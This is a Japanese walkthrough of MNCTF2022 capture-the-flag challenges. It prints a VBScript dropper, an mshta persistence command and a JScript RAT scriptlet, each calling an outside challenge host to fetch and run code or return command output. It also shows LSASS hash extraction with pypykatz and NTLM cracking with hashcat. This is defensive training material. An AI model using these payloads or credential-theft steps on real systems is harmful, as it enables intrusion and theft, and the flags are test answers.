🛡️

MNCTF2022 Writeup

2024/10/28に公開

0. 練習ステージ

本ステージはRPGゲームを進めながらミッションをクリアしていくものとなります。
このリンクからRPGを始めてください。RPG画面でポストしたフラグはこちらにも反映されます。

0-1. Misc - 練習問題

「MNCTF2022」が答えとなります。
練習ステージは以上となります。CTFの画面に戻ってください。

正答:MNCTF2022

1. 本編 ~てしがわら君の1日~

本ステージはRPGゲームを進めながらミッションをクリアしていくものとなります。 このリンクからRPGを始めてください。RPG画面でポストしたフラグはこちらにも反映されます。

1-1. Binary - 不審なファイル

このファイルを調査して、被害が拡大していそうな社員のユーザ名を答えてください。
ZIPのパスワードは「infected」です。

問題にはam1.vbsアカウント情報2022.07.01.xlsxが添付されています。
am1.vbsの内容は以下の通りです。

am1.vbs
' Windowsライセンスキーをlに格納
l=gk
t=0
' Windowsライセンスキーの各文字のASCIIコードの合計をtとする
For i=1 to len(l)
  t=t+asc(mid(l,i,1))
NExt
' Windowsライセンスキーの各文字のASCIIコードの合計が1,935の場合、以下を実施
' 1. WScript.Shellオブジェクトを作成し、wshに格納
' 2. https://task.mnctf.info/img/logo.jpgをtemp.exeとして保存
' 3. temp.exeを実行
If t = 1935 Then
  set wsh=CreateObject("WScript.Shell")
  wsh.Run "powershell wget https://task.mnctf.info/img/logo.jpg -outfile temp.exe",0,true
  wsh.Run "temp.exe",0,true 
End If

' Windowsライセンスキーを取得する関数
Function gk()
  ' WScript.Shellオブジェクトを作成し、WshShellに格納
  Set WshShell=CreateObject("WScript.Shell")
  ' Windowsライセンスキーの取得結果をobjExecに格納
  Set objExec = WshShell.Exec("wmic path softwareLicensingService get OA3xOriginalProductKey")
  ' Windowsライセンスキーをlineに格納
  line = objExec.StdOut.ReadLine()
  line = objExec.StdOut.ReadLine()
  ' 整形したWindowsライセンスキーを返す
  gk=trim(replace(line,vbcr,""))
End Function

am1.vbs内のif文はWindowsライセンスキーのASCIIコードの合計値が1,935の場合に実行されるので、この条件を満たす社員をアカウント情報2022.07.01.xlsxから見つければよさそうです。

search.py
import pandas

# ASCIIコードの合計値を算出する関数
def calculate_ascii_sum(license_key):
    return sum(ord(char) for char in license_key)

# メイン処理
if __name__ == "__main__":
    # アカウント情報2022.07.01.xlsxのSheet1を読み込む
    sheet1 = pandas.read_excel("アカウント情報2022.07.01.xlsx", sheet_name="Sheet1")

    # 「Windows ライセンス」列を取得
    ids = sheet1["ID"]
    license_keys = sheet1["Windows ライセンス"]

    # ASCIIコードの合計値が1935になるWindowsライセンスキーに対応するIDを取得
    matching_ids = [id for id, license_key in zip(ids, license_keys) if calculate_ascii_sum(license_key) == 1935]

    # 結果を表示
    print(matching_ids)
$ python search.py
['toru_akamatsu']
$

正答:toru_akamatsu

1-2. Forensics - 自動実行

Autorunの実行結果を調査して、不審なエントリーの「Entry」名を調査してください。

問題にはPC01923.arnが添付されています。
問題文にもある通り、このファイルをSysinternalsのAutorunsで開きます。

https://learn.microsoft.com/ja-jp/sysinternals/downloads/autoruns

Autoruns Entryを1つ1つ見ていくと、HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunにあるSystemUpdaterについて、mshta.exe javascript:a=(GetObject('script:https://task.mnctf.info/img/am3.sct')).m();close();という不審なコマンドが登録されています。

正答:SystemUpdater

1-3. Binary - 不審なファイル2

SystemUpdater.exeを調査して、オリジナルのファイル名を答えてください。パスワードは「infected」です。

問題にはSystemUpdater.exeが添付されています。
プロパティを見ると元のファイル名が記載されています。

正答:procdump.exe

1-4. Misc - パスワード

lsass.zipを調査して、あかまつ君の平文パスワードを答えてください。

問題にはlsass.dmpが添付されています。
まず、pypykatzを利用してLSASSプロセスのメモリダンプからtoru_akamatsuのNTLMハッシュ値を取得します(長いため一部省略しています)。

https://github.com/skelsec/pypykatz

$ pypykatz lsa minidump lsass.dmp
INFO:pypykatz:Parsing file lsass.dmp
FILE: ======== lsass.dmp =======
== LogonSession ==
authentication_id 679761 (a5f51)
session_id 1
username toru_akamatsu
domainname MAKUNIKI
logon_server AD01
logon_time 2022-07-28T09:08:01.673641+00:00
sid S-1-5-21-1268757625-1088359110-1713273905-1393
luid 679761
        == MSV ==
                Username: toru_akamatsu
                Domain: MAKUNIKI
                LM: NA
                NT: e224d762d50897e1e78c5a2321ae8e75
                SHA1: 8936445a794db0a0c3df22c2811afe44eb731800
                DPAPI: 7d3e523ef743111d52a7ffcaf21aac7c00000000
        == WDIGEST [a5f51]==
                username toru_akamatsu
                domainname MAKUNIKI
                password None
                password (hex)
        == Kerberos ==
                Username: toru_akamatsu
                Domain: MAKUNIKI.LOCAL
        == WDIGEST [a5f51]==
                username toru_akamatsu
                domainname MAKUNIKI
                password None
                password (hex)
        == DPAPI [a5f51]==
                luid 679761
                key_guid f0541337-cfcb-43ad-baf9-8a31ca16b1da
                masterkey 591d174bb01a3933c4da2e140393e2c377edaa43898b110e0cd417190b7c501cbde2d31514da09657aacc2fcd311bd235745659b467e6ca9e02cfeec57e3f5ea
                sha1_masterkey 9349678ee129d03b8c0573dbfab63159884112e8

~省略~

$

toru_akamatsuのNTLMハッシュ値はe224d762d50897e1e78c5a2321ae8e75であることが分かりました。
次に、Kali Linux上にある既定の辞書(rockyou.txt)を使用して、NTLMハッシュ値からパスワードを割り出します。

$ echo 'e224d762d50897e1e78c5a2321ae8e75' > hash.txt
$ cp /usr/share/wordlists/rockyou.txt.gz ./
$ gzip -d rockyou.txt.gz
$ hashcat -m 1000 -a 0 hash.txt rockyou.txt --opencl-device-types 1
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-penryn-12th Gen Intel(R) Core(TM) i5-12400F, 6944/13952 MB (2048 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

e224d762d50897e1e78c5a2321ae8e75:redredred                
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: e224d762d50897e1e78c5a2321ae8e75
Time.Started.....: Sun Oct 27 10:06:59 2024 (0 secs)
Time.Estimated...: Sun Oct 27 10:06:59 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   467.4 kH/s (0.14ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 34816/14344385 (0.24%)
Rejected.........: 0/34816 (0.00%)
Restore.Point....: 32768/14344385 (0.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: dyesebel -> anaxor
Hardware.Mon.#1..: Util: 48%

Started: Sun Oct 27 10:06:39 2024
Stopped: Sun Oct 27 10:07:00 2024
$

正答:redredred

1-5. Binary - ステージ4

Autorunの実行結果に含まれている情報を確認し、ステージ4のマルウェアのSHA256のハッシュ値を求めてください。

「1-2. Forensics - 自動実行」からhttps://task.mnctf.info/img/am3.sctがステージ4のマルウェアなので、実際にダウンロードしてSHA256ハッシュ値を求めます。

$ curl -O https://task.mnctf.info/img/am3.sct
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   783  100   783    0     0    328      0  0:00:02  0:00:02 --:--:--   328
$ sha256sum am3.sct   
2cc757c960391529c6e10836f87b6c9f5244c7d2901ee2ba7e7b80a1a26cf208  am3.sct
$

正答:2cc757c960391529c6e10836f87b6c9f5244c7d2901ee2ba7e7b80a1a26cf208

1-6. Binary - 種類

ステージ4のマルウェアの種類を答えてください。(例、バンキングマルウェア)

am3.sctの内容を見てみます。

$ cat am3.sct 
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>

<public>
    <method name="m"></method>
</public>

<script language="JScript">
<![CDATA[
        function m(){u="http://task.mnctf.info/amc2/";e=new ActiveXObject("WScript.Shell");p(u,e["Exec"]("cmd /c "+g(u)).StdOut.ReadAll());e["Run"]("timeout /t 1",0,true);}function g(u){x=new ActiveXObject("Msxml2.ServerXMLHTTP");x["open"]("GET",u,0);x.send();return(x.responseText);}function p(u,r){h=new ActiveXObject("Msxml2.ServerXMLHTTP");h.open("POST",u,0);h.setRequestHeader("Content-Type","application/x-www-form-urlencoded");h["send"]("r="+encodeURIComponent(r));return(h.responseText);}
  
]]>
</script>
</scriptlet>
$

http://task.mnctf.info/amc2/からコマンドを取得し、その実行結果を送信するJavaScriptのようです。
「トロイの木馬」と回答して当たってしまいましたが、より正確にはRAT(リモートアクセス型トロイの木馬)[1]です。

正答:トロイの木馬 または RAT

1-7. Forensics - マルウェア

ハッシュリストからマルウェアを見つけて、そのハッシュ値を答えてください。

問題にはhashlist.txtが添付されています。
Pathはところどころ途中で切れていて参考にならないので、SHA256ハッシュ値をVirusTotalで検索します。
そのために、まずハッシュ値だけのテキストファイルhash_only.txtを作成します。

007AF66327417F5B13372E8092BD1E6712709FFC00A5EB35B5FAB1228D5B62A6
00AC7E58DFC2F6757C0C2268EB441E4E8FB317427840971A1049011CD2888A35
03E91A5144AB49E6A39DF0D920987E718FD36F8D5CA34E243506025E8DA1DB78
03F57900A9324DF23DA95A46F58245649B0357F065B7F4128E387507CE9582E6
04DD313F7DBD4F392ADA63D41DB19EABB4B48C81A5F322EC6712F54F0DC70625
076EA6F96AEA911A0175BE091D4028F71BC4570D4AAC20E2681C35CE992A66D7
100348552B388AB5D0095BB09EBF0EBC22668092FB8E0F92AC7ED5909492B4F6
18B84DF6110F4A23660A256E558BCE4F5FC0D47678E4D1F9F8188DD490E5B293
18D202A4EF0C402C711154AA292F8B5AD25089B4559493754850654A01FA1260
1B05566A7BDC324F034DFA319A0049FED63EC0937616F89C965C5639AB352DD5
1E6FCD6D0B390825891B50C2F3D65C96152580D7314FFE8CC17BBD543E95CA52
2198A7B58BCCB758036B969DDAE6CC2ECE07565E2659A7C541A313A0492231A3
2AE4D76B2037BF4EA615E92C7064272C93FC6A5CD649A95502234F6F32B9B151
342A81B814D3715178BFCFEA4F10F0AD37C975C207964C0E4BB9913AF2F93629
35791F1DBD343A5A46A3A18100E2E85C1DF83085053E07DEAE56D46132F982AF
3ADD6875517843F8A58DFB760D042AE50F1ED562C44BEA91D28EDD353F05DECA
3DD0A60A4E858AE1E71EF87F2797A7567E06150DFFDC841A0CD3ADE71802348D
418FBE7F21915384A1A87010DE7CDBF86690B497999547E6C5BE93FBA8E91FF7
484FED5F039F429ED933931BA607B7EFDA7D1A343D79CFAB60910E1843147012
56E91451FEAD9946ACA8E2F0AAE99FDEA302FD90F0708F68013BDDEDAB580F3B
570B37A7A3FFDAFCCECCC33CBC1968FEB857B73CA3CB4DFFEDC2E67E9ABD0878
57B0CCD3AEBC6C7126E7C19F5DAC492DF51D904A505C5F5B0CB02270D53F8684
5DA7A338FA478C96E83A27DB481E39C1F2689E9016CF9AA7FF5CD2BFF32F33F2
63B92D3657EC7E81AD3A8AD8ECA83C456752EB654715518732DA1ADC9C4241AD
643EC58E82E0272C97C2A59F6020970D881AF19C0AD5029DB9C958C13B6558C7
6CC44FBEE63233A379E08B2FDF451890F6FCE8615878C44BC1A680A6F13C9CBD
6DA131827B1E8BD452DB68CD67CE58717B3BA5D753FB4963DE8AFBEA6C78D402
70D4766639062A2E74C9708788905DE26405A12952D52D788BBE4A8F439E32D1
70D968B4F65C5CE471474096F8623AECD7D496E4F10C8B94C3577C8362E0ADA1
72279AD47EED7FBF2472214824696351B9CB2571B8EE5D8C92FADA23B378D812
73D8F23A1ACF635A39B2DCB8B37304658F6F84D1090AF961EA031EFAB833D916
77B990CB81CF51BF1BA80BBA23EF5F5161309F74418BAC8A3AE930EB85EF5374
78AEDD6D13C45B2E080BC26527CCF3BDABF764A2108249BA8B3AC4387C6A6376
97C8AAEDBA3A89174BC6DDD8B5B40504A81E7ADAE8DF6B11230EB34B150FFC3B
9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
A4D74C4A92007E3D6B893187F67DEA65C15A0A551E1F8956685D115A3F202958
AF4F38395541C0315B188A2C3F63EFFD77011F5D0C21381A19EE9ED3224F9615
BE1C4326648531600D4EDAFF0383AC6D1022844557B5AB4D89BAB71760113C41
C2194F45C7B614B4520ED551C88C2B32D2E0065EDCF3D7208086A1B0EC07D835
C480752FBA0E9DAF476B548248A47A2C6BF14F3DE8045945FBEE9F9E92A7B41A
C6A06842235A221A7DA11F994B1806E42A17D18DAE7D1C8D476F5EB61BA66C6F
CA2837031952C32BC1639A416F5C2ADCEEBF33507D216E554A3B47B17C52E9B1
D4001DE20554935514046DB1A8D432935FFFFD6A5F874ADBBD8F03E603A1E155
DA7E37CE59685964A3876EF1747964DE1CAABD13B3691B6A1D5EBED1D19C19AD
DAFFC7CBAFE070479CE877401A239CC46B8AC82E031CCC400A7E4A2E9226CD20
DCF51CB36C3952EB5BAF217E404E6C972EE1EF4109EBBCC88855860A366EDC0E
E7FC40B41AA8B83841A0B96D169EAF0800AA784733E636935374D56536253F10
EAE876886F19BA384F55778634A35A1D975414E83F22F6111E3E792F706301FE
EDFE71025C352D0DABEC7B9506C5945BB0EC11F8DB540DB8CB1116C2EA1648A8
F5CB9796E4517D2E2D3468A5DE1DA12BC57D0A582CAB46F8A70B69B0FFDE928D

次に、VirusTotalのAPIを利用するPythonコードを書いて実行します。

virustotal.py
import requests
import time

# ヘッダにてAPIキーを指定
# https://docs.virustotal.com/reference/authentication
headers = {
    "accept": "application/json",
    "x-apikey": "MY_API_KEY"
}

# ハッシュ値の一覧を取得
with open("hash_only.txt", "r") as file:
    hashes = file.read().splitlines()

# VirusTotalでチェックする関数
for i, hash in enumerate(hashes):
    # 1分あたり4件のリクエストに制限
    # https://docs.virustotal.com/reference/public-vs-premium-api
    if i > 0 and i % 4 == 0:
        time.sleep(60)

    # ファイルレポートを要求
    response = requests.get("https://www.virustotal.com/api/v3/files/" + hash, headers=headers)
    if response.status_code == 200:
        attributes = response.json().get("data", {}).get("attributes", {})
        # 悪意のあるファイルと判断したセキュリティベンダ数
        malicious_count = attributes.get("last_analysis_stats", {}).get("malicious", 0)
        # ハッシュ値と悪意のあるファイルと判断したセキュリティベンダ数を表示
        print(f"{hash}: {malicious_count}")
$ python virustotal.py
007AF66327417F5B13372E8092BD1E6712709FFC00A5EB35B5FAB1228D5B62A6: 0
00AC7E58DFC2F6757C0C2268EB441E4E8FB317427840971A1049011CD2888A35: 0
03E91A5144AB49E6A39DF0D920987E718FD36F8D5CA34E243506025E8DA1DB78: 2
03F57900A9324DF23DA95A46F58245649B0357F065B7F4128E387507CE9582E6: 0
04DD313F7DBD4F392ADA63D41DB19EABB4B48C81A5F322EC6712F54F0DC70625: 0
076EA6F96AEA911A0175BE091D4028F71BC4570D4AAC20E2681C35CE992A66D7: 0
100348552B388AB5D0095BB09EBF0EBC22668092FB8E0F92AC7ED5909492B4F6: 0
18B84DF6110F4A23660A256E558BCE4F5FC0D47678E4D1F9F8188DD490E5B293: 0
18D202A4EF0C402C711154AA292F8B5AD25089B4559493754850654A01FA1260: 0
1B05566A7BDC324F034DFA319A0049FED63EC0937616F89C965C5639AB352DD5: 0
1E6FCD6D0B390825891B50C2F3D65C96152580D7314FFE8CC17BBD543E95CA52: 0
2198A7B58BCCB758036B969DDAE6CC2ECE07565E2659A7C541A313A0492231A3: 0
2AE4D76B2037BF4EA615E92C7064272C93FC6A5CD649A95502234F6F32B9B151: 0
342A81B814D3715178BFCFEA4F10F0AD37C975C207964C0E4BB9913AF2F93629: 0
35791F1DBD343A5A46A3A18100E2E85C1DF83085053E07DEAE56D46132F982AF: 0
3ADD6875517843F8A58DFB760D042AE50F1ED562C44BEA91D28EDD353F05DECA: 0
3DD0A60A4E858AE1E71EF87F2797A7567E06150DFFDC841A0CD3ADE71802348D: 0
418FBE7F21915384A1A87010DE7CDBF86690B497999547E6C5BE93FBA8E91FF7: 0
484FED5F039F429ED933931BA607B7EFDA7D1A343D79CFAB60910E1843147012: 0
56E91451FEAD9946ACA8E2F0AAE99FDEA302FD90F0708F68013BDDEDAB580F3B: 0
570B37A7A3FFDAFCCECCC33CBC1968FEB857B73CA3CB4DFFEDC2E67E9ABD0878: 0
57B0CCD3AEBC6C7126E7C19F5DAC492DF51D904A505C5F5B0CB02270D53F8684: 0
5DA7A338FA478C96E83A27DB481E39C1F2689E9016CF9AA7FF5CD2BFF32F33F2: 0
63B92D3657EC7E81AD3A8AD8ECA83C456752EB654715518732DA1ADC9C4241AD: 0
643EC58E82E0272C97C2A59F6020970D881AF19C0AD5029DB9C958C13B6558C7: 0
6CC44FBEE63233A379E08B2FDF451890F6FCE8615878C44BC1A680A6F13C9CBD: 0
6DA131827B1E8BD452DB68CD67CE58717B3BA5D753FB4963DE8AFBEA6C78D402: 0
70D4766639062A2E74C9708788905DE26405A12952D52D788BBE4A8F439E32D1: 0
70D968B4F65C5CE471474096F8623AECD7D496E4F10C8B94C3577C8362E0ADA1: 0
72279AD47EED7FBF2472214824696351B9CB2571B8EE5D8C92FADA23B378D812: 0
73D8F23A1ACF635A39B2DCB8B37304658F6F84D1090AF961EA031EFAB833D916: 0
77B990CB81CF51BF1BA80BBA23EF5F5161309F74418BAC8A3AE930EB85EF5374: 0
78AEDD6D13C45B2E080BC26527CCF3BDABF764A2108249BA8B3AC4387C6A6376: 0
97C8AAEDBA3A89174BC6DDD8B5B40504A81E7ADAE8DF6B11230EB34B150FFC3B: 0
9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F: 0
A4D74C4A92007E3D6B893187F67DEA65C15A0A551E1F8956685D115A3F202958: 0
AF4F38395541C0315B188A2C3F63EFFD77011F5D0C21381A19EE9ED3224F9615: 0
BE1C4326648531600D4EDAFF0383AC6D1022844557B5AB4D89BAB71760113C41: 0
C2194F45C7B614B4520ED551C88C2B32D2E0065EDCF3D7208086A1B0EC07D835: 0
C480752FBA0E9DAF476B548248A47A2C6BF14F3DE8045945FBEE9F9E92A7B41A: 0
C6A06842235A221A7DA11F994B1806E42A17D18DAE7D1C8D476F5EB61BA66C6F: 0
CA2837031952C32BC1639A416F5C2ADCEEBF33507D216E554A3B47B17C52E9B1: 0
D4001DE20554935514046DB1A8D432935FFFFD6A5F874ADBBD8F03E603A1E155: 0
DA7E37CE59685964A3876EF1747964DE1CAABD13B3691B6A1D5EBED1D19C19AD: 0
DAFFC7CBAFE070479CE877401A239CC46B8AC82E031CCC400A7E4A2E9226CD20: 1
DCF51CB36C3952EB5BAF217E404E6C972EE1EF4109EBBCC88855860A366EDC0E: 0
E7FC40B41AA8B83841A0B96D169EAF0800AA784733E636935374D56536253F10: 0
EAE876886F19BA384F55778634A35A1D975414E83F22F6111E3E792F706301FE: 64
EDFE71025C352D0DABEC7B9506C5945BB0EC11F8DB540DB8CB1116C2EA1648A8: 0
F5CB9796E4517D2E2D3468A5DE1DA12BC57D0A582CAB46F8A70B69B0FFDE928D: 0
$

正答:EAE876886F19BA384F55778634A35A1D975414E83F22F6111E3E792F706301FE

1-9. Programming - 正規表現

このサイトの型番からパーツ、製造年、バージョンが抽出できるような正規表現を書き換えよ。

Webサイトにアクセスすると以下のように表示されます。

型番の一覧は以下の通りです。

型番
QKFG-2016-173
GMZ-2020-406
FEI-2000-122
AIJZ-2006-868
RLYQT-2005-123
CAOWV-2022-222
FXQ-1997-470
KL-2016-463
IPN-2012-892
KQ-2014-416
STIER-2000-597
OFP-2006-217
FLVQV-2011-75
UNU-2010-905
CNGXJ-1998-338
KGY-2007-186
SD-2013-574
LKN-1995-423
GQOAU-2017-928
DCWAY-1996-421
KS-2000-719
FF-2016-23
ZCG-2011-904
PD-2004-127
AEPU-2020-273
MDE-1996-883
YUDB-2018-668
QORQG-2003-709
CUHEY-2020-160
ZXX-2012-591
GSD-2015-273
PGU-2017-916
TRLPM-2004-376
WMR-2022-714
ANPQ-2002-903
KANP-2012-117
MM-2015-238
FG-2005-171
KNB-2022-804
SVIOT-2019-849
FOH-2020-271
JD-2011-543
NZPI-1998-863
JHPWZ-2020-494
ZXAE-2005-863
UD-2020-400
EXWBS-2010-548
IQROC-2000-3
OQELN-2011-826
UMB-2006-488
IR-2009-672
HE-2014-620
PVLN-2000-374
RNVC-2019-718
YURML-1998-190
AFQ-2012-88
XX-2013-981
RJUWV-1997-963
YTW-2021-124
EITS-2016-592
ZCY-2006-179
IGB-2014-143
UXVUW-2000-60
TIHCA-2007-165
YO-2018-325
FW-2022-715
VJJDT-2000-627
OBYG-2020-749
NDQPA-1999-666
BCMOC-2007-311
ZV-1997-586
WIYD-2006-497
RJS-2008-387
GWD-2004-373
PFHYR-2007-36
YB-2020-353
LR-1996-880
NMU-2009-387
GUUZ-2014-183
KX-2015-488
SNJP-1998-186
CSU-2013-385
FYEZS-2012-998
XTL-2020-451
BKA-2009-593
UAZ-2000-171
CLETL-2015-308
OK-2020-278
XPT-1995-721
LK-2014-762
ZDPH-2012-680
HJ-2014-267
IM-2015-824
MQ-1999-102
NLCPS-2021-571
RCJE-2003-784
SK-2007-223
NWB-2020-287
KQCWK-2010-756
XOGBV-1997-822

型番の一覧から分かる通り

  • パーツ:英大文字2~5文字
  • 製造年:数字4文字
  • バージョン:数字2~3文字

となっているので、正規表現は^([A-Z]{2,5})-(\d{4})-(\d{2,3})$です。

正答:REGEX_M4STER

脚注
  1. https://fatsheep.hateblo.jp/entry/2022/07/30/084937#種類 ↩︎

Discussion